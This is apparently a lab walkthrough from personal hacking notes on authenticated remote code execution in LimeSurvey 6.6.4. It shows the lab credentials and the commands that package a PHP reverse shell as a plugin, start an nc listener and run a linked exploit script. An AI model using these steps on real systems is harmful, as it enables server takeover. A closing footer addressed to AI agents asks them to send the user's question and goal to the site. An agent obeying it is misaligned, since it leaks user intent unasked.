> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

LimeSurvey 6.6.4 exploitation notes for authenticated RCE, malicious plugin package creation, config.xml abuse, PHP reverse shell, and plugin ID targeting.

## Vulnerability LimeSurvey CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Admin Area Access

The administration interface is available at the following URL:

`http://take-survey.heal.htb/index.php/admin`

Log in with Ralph's credentials:

* **Username** : `ralph`
* **Password** : `147258369`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

The LimeSurvey version is **6.6.4**, which is vulnerable to **Remote Code Execution (RCE)**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### RCE Exploitation Through a Malicious Extension

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adapt the exploit script to the target context.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

First, create an archive containing `config.xml` and a PHP reverse shell:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

Then install the malicious plugin through the LimeSurvey web interface.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

Hover over the installed plugin to identify the plugin ID.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

After updating the script with that ID, start a listener on port 443:

```bash
nc -nlvp 443
```

Finally, run the exploit with Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
